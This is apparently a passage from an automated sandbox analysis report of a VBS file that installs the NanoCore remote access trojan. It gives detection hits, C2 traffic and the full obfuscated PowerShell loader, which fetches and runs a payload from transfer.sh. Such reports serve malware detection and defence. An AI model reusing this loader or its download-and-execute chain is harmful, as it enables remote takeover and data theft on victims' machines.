-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -spl
Sigma detected: T1086 PowerShell ExecutionShow sources
Source: Pipe createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132761534763487894.6424.DefaultAppDomain.powershell

Stealing of Sensitive Information:

barindex
Sigma detected: NanoCoreShow sources
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ProcessId: 3112, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

Remote Access Functionality:

barindex
Sigma detected: NanoCoreShow sources
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ProcessId: 3112, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

barindex
Source: unknownHTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49742 version: TLS 1.0
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbH source: powershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Liam\Downloads\NanoCoreSwiss\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\NanoCoreStressTester\NanoCoreStressTester\obj\Debug\NanoCoreStressTester.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp
Source: Binary string: System.Management.Automation.pdb8S source: powershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmp
Source: Binary string: G:\Users\Andy\Documents\Visual Studio 2013\Projects\NanocoreBasicPlugin\NanoCoreBase\obj\Debug\NanoCoreBase.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp
Source: Binary string: P:\Visual Studio Projects\Projects 15\NanoNana\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Cole\Documents\Visual Studio 2013\Projects\FileBrowserPlugin\FileBrowserClient\obj\Debug\FileBrowserClient.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49784 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49785 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49788 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49792 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49793 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49798 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49799 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49800 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49801 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49802 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49803 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49804 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49805 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49808 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49815 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49818 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49819 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49820 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49821 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49822 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49823 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49824 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49825 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49826 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49827 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49828 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49829 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49830 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49831 -> 194.147.140.20:6700
Uses dynamic DNS servicesShow sources
Source: unknownDNS query: name: newjan.duckdns.org
Source: Joe Sandbox ViewASN Name: PTPEU PTPEU
Source: Joe Sandbox ViewJA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: global trafficHTTP traffic detected: GET /KgBbue/cxderf.txt HTTP/1.1Host: transfer.shConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /I0xnyr/tytyt.txt HTTP/1.1Host: transfer.sh
Source: Joe Sandbox ViewIP Address: 144.76.136.153 144.76.136.153
Source: Joe Sandbox ViewIP Address: 144.76.136.153 144.76.136.153
Source: unknownHTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49742 version: TLS 1.0
Source: global trafficTCP traffic: 192.168.2.3:49784 -> 194.147.140.20:6700
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49774 -> 443
Source: powershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmpString found in binary or memory: http://crl.c
Source: powershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmpString found in binary or memory: http://crl.microsof
Source: powershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmpString found in binary or memory: http://crl.microsofo
Source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmpString found in binary or memory: http://google.com
Source: powershell.exe, 00000004.00000002.396426297.000001EE002B9000.00000004.00000001.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.396805530.000001EE00442000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000004.00000002.395638887.000001EE00001000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.396805530.000001EE00442000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000004.00000002.396426297.000001EE002B9000.00000004.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.396426297.000001EE002B9000.00000004.00000001.sdmpString found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.396426297.000001EE002B9000.00000004.00000001.sdmpString found in binary or memory: https://transfer.sh
Source: powershell.exe, 00000004.00000002.396805530.000001EE00442000.00000004.00000001.sdmpString found in binary or memory: https://transfer.sh/I0xnyr/tytyt.txt
Source: powershell.exe, 00000004.00000002.396160273.000001EE0020C000.00000004.00000001.sdmpString found in binary or memory: https://transfer.sh/KgBbue/cxderf.txt
Source: unknownDNS traffic detected: queries for: transfer.sh
Source: global trafficHTTP traffic detected: GET /KgBbue/cxderf.txt HTTP/1.1Host: transfer.shConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /I0xnyr/tytyt.txt HTTP/1.1Host: transfer.sh

E-Banking Fraud:

barindex

System Summary:

barindex
Malicious sample detected (through community Yara rule)Show sources
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 23.3.aspnet_compiler.exe.3f165e1.1.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 23.3.aspnet_compiler.exe.3f165e1.1.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: aspnet_compiler.exe PID: 3112, type: MEMORYSTRMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Wscript starts Powershell (via cmd or directly)Show sources
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('Jump to behavior
Very long command line foundShow sources
Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 3047
Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 3047Jump to behavior
Source: 7-Items-receipt.vbs, type: SAMPLEMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: amsi64_6292.amsi.csv, type: OTHERMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 23.3.aspnet_compiler.exe.3f165e1.1.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 23.3.aspnet_compiler.exe.3f165e1.1.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 23.3.aspnet_compiler.exe.3f165e1.1.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.412042111.000002BCBD041000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
